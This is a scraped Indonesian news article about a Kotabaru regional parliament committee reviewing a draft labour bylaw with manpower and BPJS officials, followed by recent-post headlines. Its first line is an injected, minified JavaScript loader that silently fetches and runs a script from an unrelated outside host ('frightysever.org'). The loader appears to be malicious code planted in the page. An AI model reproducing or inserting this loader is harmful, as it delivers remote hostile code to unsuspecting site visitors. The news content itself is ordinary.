(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

DPRD Bentuk Pansus Ketenagakerjaan


KANALKALIMANTAN.COM, KOTABARU – Anggota DPRD Kotabaru yang juga selaku ketua pansus terkait Raperda ketenagakerjaan yakni Rabbiansyah menggelar rapat bersama Disnaker Kotabaru, BPJS Ketenagakerjaan, BPJS Kesehatan dan Kabag Hukum mewakili Pemda dalam rangka menyinkronisasi Raperda, Senin (16/10/2023).

Dalam kesempatannya, disampaikan oleh Rabbiansyah bahwa, Raperda tersebut sangat bagus dan mesti di sinkron sesuai dengan UU Cipta Kerja maupun peraturan lainya yang berhubungan dengan ketenagakerjaan.

“Tujuannya tentu saja untuk memberikan perlindungan kepada tenaga kerja kita di daerah,” ujar pria yang akrab di sapa Roby ini.

Selain perlindungan tenaga kerja, katanya melanjutkan, juga memberikan pelayanan kepada pencari kerja, serta mewujudkan tenaga kerja yang memiliki kompetensi agar mampu bersaing, ruang lingkupnya sangat luas.

Baca juga: Hari Stroke Sedunia 2023 #GreaterThanStroke

“Raperda ini ada memuat perencanaan TK, pelatihan kerja, penempatan TK, penggunaan TKA, hubungan kerja, jaminan sosial, hubungan industrial sampai sanksi administratif akan di muat, dan tentu kita meminta informasi dan masukan agar Raperda ini lebih sempurna,” jelas dia.

Dia berharap agar nantinya agar Raperda yang dibuat bisa lebih baik, sebagai contoh akan berkoordinasi dengan pihak BPJS Ketenagakerjaan, sehingga nantinya Raperda tersebut juga mengakomodir bagaimana peran pemda, peran perusahaan lewat CSR atau pihak lain bisa mengakomodir pekerja rentan terdaftar di BPJS Ketenagakerjaan.

Dikatakannya, masyarakat yang berprofesi sebagai petani, nelayan, penjual pentol dan lain-lain bisa terakomodir jaminan sosialnya, minimal jaminan kecelakaan kerja dan jaminan kematian.

“Mudah-mudahan 2023 dapat menyelesaikan Raperda ini sehingga 2024 bisa dilaksanakan di Kotabaru. Mohon doa dan dukungan masyarakat khususnya kaum buruh Kotabaru agar Raperda ini segera menjadi Perda sebagai bentuk perlindungan terhadap masyarakat,” pungkas dia. (Kanalkalimantan.com/muhammad)

Reporter: muhammad
Editor: Dhani


Risa

Recent Posts

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

1 menit ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

48 menit ago

Pj Bupati Kapuas Halalbihalal Bersama Ibu-ibu Pengajian

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More

2 jam ago

Pansus II ke KLHK, Bahas Raperda Pengakuan dan Perlindungan Masyarakat Hukum Adat

KANALKALIMANTAN.COM, KUALA KAPUAS - Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas melakukan kunjungan ke Kementerian… Read More

2 jam ago

Rugikan Negara Rp1,6 Miliar, Kasus Pengemplang Pajak Dilimpahkan ke Kejari Tanbu

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah  Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More

2 jam ago

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

13 jam ago

This website uses cookies.